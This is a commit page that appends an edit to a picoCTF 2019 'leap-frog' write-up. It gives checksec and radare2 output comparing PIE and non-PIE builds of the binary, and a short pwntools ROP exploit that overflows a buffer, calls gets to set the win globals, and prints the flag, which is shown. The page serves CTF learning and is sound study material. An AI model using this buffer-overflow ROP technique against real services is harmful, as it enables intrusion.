Skip to content

Commit

Permalink
picoCTF
Browse files Browse the repository at this point in the history
  • Loading branch information
Dvd848 committed Oct 24, 2019
1 parent 17c5a84 commit 74c2710
Showing 1 changed file with 62 additions and 1 deletion.
63 changes: 62 additions & 1 deletion 2019_picoCTF/leap-frog.md
Original file line number Diff line number Diff line change
Expand Up @@ -383,4 +383,65 @@ root@kali:/media/sf_CTFs/pico/leap-frog# python exploit.py
[+] Receiving all data: Done (50B)
[*] Stopped remote process 'rop' on 2019shell1.picoctf.com (pid 2657143)
picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_0db32718}
```
```

---

[Edit]

As mentioned, earlier, the first binary published during this challenge had PIE enabled:
```console
root@kali:/media/sf_CTFs/pico/leap-frog# checksec.sh -f rop_original
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 84 Symbols No 0 6 rop_original
```

After a while, this file was (silently?) replaced with a PIE-disabled file:
```console
root@kali:/media/sf_CTFs/pico/leap-frog# checksec.sh -f rop
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 82 Symbols No 0 6 rop
```

Of course, the PIE binary had the `win` globals in a position independent location:
```console
root@kali:/media/sf_CTFs/pico/leap-frog# r2 rop_original
-- r2 -- leading options since 2006
[0x000005a0]> is~win
044 ---------- 0x00002009 GLOBAL OBJ 1 win1
045 ---------- 0x0000200b GLOBAL OBJ 1 win3
066 ---------- 0x0000200a GLOBAL OBJ 1 win2
```

And in the PIE-disabled version, they were placed at a fixed address:
```console
root@kali:/media/sf_CTFs/pico/leap-frog# r2 rop
-- I script in C, because I can.
[0x080484d0]> is~win
045 ---------- 0x0804a03d GLOBAL OBJ 1 win1
046 ---------- 0x0804a03f GLOBAL OBJ 1 win3
064 ---------- 0x0804a03e GLOBAL OBJ 1 win2
```

While moving from the PIE version to the non-PIE version, I forgot to take into account this change and continued working with a mindset locked on the need to attack a position-independent global. Therefore, the solution above is a bit more complicated than needed. On the other hand, it forced me to manually build a less-trivial ROP chain which overall is a good thing.

An alternative solution which is much simpler is to use `gets` to set all three globals to `true` (thanks to [Yaakov](https://twitter.com/YaakovCohen88) for this elegant solution):

```python
overflow_offset = get_overflow_offset()
log.info("win1 address: {}".format(hex(exe.symbols["win1"])))
log.info("display_flag() address: {}".format(hex(exe.symbols["display_flag"])))

rop = ROP(context.binary)
rop.gets(exe.symbols["win1"])
rop.display_flag()

log.info("ROP: \n{}".format(rop.dump()))

payload = fit({overflow_offset: str(rop)})
io = start()
send_payload(io, payload)
io.sendline("\x01\x01\x01")
print io.recvall()
```

0 comments on commit 74c2710

Please sign in to comment.